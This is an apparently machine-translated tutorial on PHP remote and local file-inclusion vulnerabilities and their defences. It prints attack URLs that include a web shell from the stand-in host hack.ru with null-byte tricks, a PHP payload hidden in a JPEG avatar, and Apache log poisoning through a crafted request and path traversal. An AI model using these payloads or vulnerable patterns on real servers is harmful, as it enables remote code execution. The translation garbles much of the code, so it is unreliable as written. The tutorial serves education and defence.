PHP-include and ways to protect



  • Global Includ
  • Protection from global includa
  • Local Includ
  • Apache's logs
  • Protection from local includa


  • Introduction

    Global Includ

    The most dangerous of the vulnerabilities of the web, but unfortunately, or fortunately is very rare in our time. For the attack, it is necessary that the allow_url_include function is enabled, ie "On"
    The vulnerability allows an attacker to execute arbitrary php code on the server.
    In PHP, there are four functions for including files in a PHP script:

    * Include ();
    * Include_once ();
    * Require ();
    Require_once ().

    The include () function includes the contents of the file in the script. Let's consider an example of "twice" vulnerable code:
      <? Php
     
      If ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      Include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      Else
     
      {
     
      Include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Using the condition, we check if the element of the array $ _GET ['page'] is passed to the server via the url, then we call the include () function. Due to the fact that the value of the array $ _GET ['page'] is not checked for existence, the attacker can perform an attack using the file_exists () function:

    http://site.ru/index.php?page=http://hack.ru/shell we include include ($ file. '. Php'); Here the situation is the same, just writing the code is slightly different. The variable $ file is not
    Was determined early and the attacker can execute remotely php code:
    http://site.ru/index.php?file=http://hack.ru/shell The function include_once () is practically the same as the include () , with one exception: before you include the file in the program, it checks not Whether it was included earlier. If the file has already been included, the include_once () call is ignored, and if not, the file is included as standard.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In this example, the extension '.gif' is automatically assigned to the file being uploaded.
    You can get rid of the extension '.gif' in two ways:
    1) if magic_quotes_gpc = Off, then you can use "poison zero" -% 00 which will cut the extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) even if magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? The require () function is similar to include () , except for one - the file defined by the require () parameter is included in the script, regardless of the location of require () in the script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    attack is similar, but in this case the extension is not attributed:
    http://site.ru/index.php?page=http://hack.ru/shell.php The require_once () function loads the file into the script only once.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    attack is similar ...

    Now consider another version of Includa. This time it is necessary that b in the php.ini file
    The value of the allow_url_fopen parameter was On , which is the default.
    PHP code:
      <? Php
     
      $ F = fopen ( "$ file.php" , "r" );
     
    
      While (! Feof ( $ f ))
     
      {
     
      $ S = fgets ( $ f , 255 );
     
      Echo $ s ;
     
      }
     
    
      Fclose ( $ f );
     
      ?>
    
    
    Due to the fact that the $ file variable was not defined earlier, an attacker can perform an attack:
    http://site.ru/index.php?file=http://hack.ru/shell As a result, we again get the web shell.

    The following example uses the readfile () function
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    The readfile () function reads the file whose name is passed to it as a parameter, and displays its contents on the screen.
    As a result, we again get the web shell:
    http://site.ru/index.php?file=http://hack.ru/shell Now consider this option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Using the implode () function , we combine the elements of an array into a string, and using the file () function , we get the contents of the file as an array. As a result, we again have a web shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Protection from global includa

    Of course, you can check the file to exist with the function file_exists () and filter out unwanted characters with str_replace () , but I recommend using the switch case :

      <? Php
     
      Global $ page ;
     
      Switch ( $ page )
     
      {
     
      Case '' :
     
      Include ( "pages / main.php" );
     
      Break;
     
    
      Case 'index' :
     
      Include ( "pages / main.php" );
     
      Break;
     
      Case 'page1' :
     
      Include ( "pages / folder / page1.php" );
     
      Break;
     
      Case 'page2' :
     
      Include ( "pages / folder / page2.php" );
     
      Break;
     
    
      Default:
     
      Include ( "pages / hack.php" );
     
      Break;
     
      }
     
      ?>
    
    
    I also recommend editing the php.ini file :

    Allow_url_include = Off // disable remote inclusion of files
    Allow_url_fopen = Off // forbid fopen to open links
    Register_globals = Off // disable the initialization of global variables
    Safe_mode = On // enable safe_mode (the hacker will not have access to / etc / passwd and the like)

    Local Includ

    No less dangerous vulnerability in the web. Allows an attacker to insert files on the server. Many newcomers encounter this bug of web coding, because they do not know how to proceed further and in what direction to dig. I will give a general example:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    It is not possible to globally invoke, because the $ file variable is assigned after the / include /
    What can be done?

    Ideal is the case where the site is either a forum or another form with which you can download any file with any extension.
    The question arises - why with any extension? Take for example an imaginary site where you can upload an avatar through the forum. There is a script on the forum that checks whether the user actually uploaded the photo. Open paint and save any image for example in jpg format. Then open it with a notepad and after the image code write <? Php include ("http://hack.ru/shell.php"); ?> In the end, we get something like this:
    			
     JFIF `` YOU C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яЫ C 			  
    
      2!  222222222222222222222222222222222222222222222 22222яА 6 6 "ЯД                    	
      Μ μ}! 1A Qa "q 2Ў'Ў # B ± R RCp $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ š'" "• --~ ™ љўЈ¤Ґ|§Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      Μ μ 1 AQ aq "2Ѓ B'Ў ± B # 3Rp brC
    
      $ 4b% with & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz,ѓ "... † ‡ € Љ Љ'" "- - - - - - - - - - - - - -  Ch (ўЂ
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
    
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
     (Â €
     (ЎЂ? ЯЩ
     <? Php include ("http://hack.ru/shell.php");  ?>
    
    Now such a picture can be uploaded to the forum and it will be perceived exactly as a picture
    Let's return to the question of expansion. Why is anyone suitable for us? The fact is that the function include ()
    Loads the code from one file into the executable. Here's an example:
    http://www.site.com/index.php?include=../forum/images/shell.jpg As a result, in the index.php file the code <? Php include ("http://hack.ru/ Shell.php "); ?>

    Apache's logs

    As you know, apache logs the httpd-access.log and httpd-error.log and all the requests
    Naturally logged and written to the appropriate files. Here is their approximate location:
     /logs/error.log
     /logs/access.log
    
     / Logs / error_log
     / Logs / access_log
    
     / Var / log / error_log 
     / Var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / Var / www / logs / error_log
     /var/www/logs/error.log
    
     / Var / www / logs / access_log
     /var/www/logs/access.log
    
     / Var / log / apache / error_log
     /var/log/apache/error.log
     / Var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / Var / log / httpd / error_log
     / Var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / Apache / logs / error_log
     / Apache / logs / access_log
    
     / Usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / Usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / Home / www / logs / error_log
     /home/www/logs/error.log
     / Home / www / logs / access_log
     /home/www/logs/access.log
    
    I'll give an example on localhost, I think it will be much clearer. Using InetCrack, I send a package of this content:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    package header is written to the apache logs located at:
    Z:\usr\local\apache\logs\access.log Ie I wrote this line in this file:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 I think the essence is clear. It remains for us to inject it:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log And get the web shell :)

    Protection from local includa

    Here is a small example of how you can reliably protect yourself:
      <? Php
     
    


    Function stripslashes_for_array (& $ array )
    {
    Reset ( $ array );
    While (list ( $ key , $ val ) = each ( $ array ))
    {
    If ( is_string ( $ val )) $ array [ $ key ] = stripslashes ( $ val );
    Elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }
    Return $ array ;
    }

    If (! Get_magic_quotes_gpc ())
    {
    Stripslashes_for_array ( $ _POST );
    Stripslashes_for_array ( $ _GET );
    }

    If (isset ( $ _GET [ 'file' ]))) $ file = $ _GET [ 'file' ];
    Else
    {
    If (isset ( $ _POST [ 'file' ]))) $ file = $ _POST [ 'file' ]; Else $ file = '' ; } $ File = str_replace ( '/' , '' , $ file ); $ File = str_replace ( '.' , '' , $ File ); If (! File_exists ( "include" . '/' . $ File . '.php' ) || $ file == 'index' ) { $ File = 'news' ; } Include ( "include" . '/' . $ File . '.php' ); ?>

    So, what's going on here? Each element of the array is checked by the stripslashes () function. She kills backslashes. Then we check whether the value of the array element is set or not. We filter the invalid characters (' / ', ' . ') With str_replace () . If the file does not exist (check with the function file_exists () ) - assign the value of the variable $ file = 'news'. In other cases (when the file exists), we'll include it.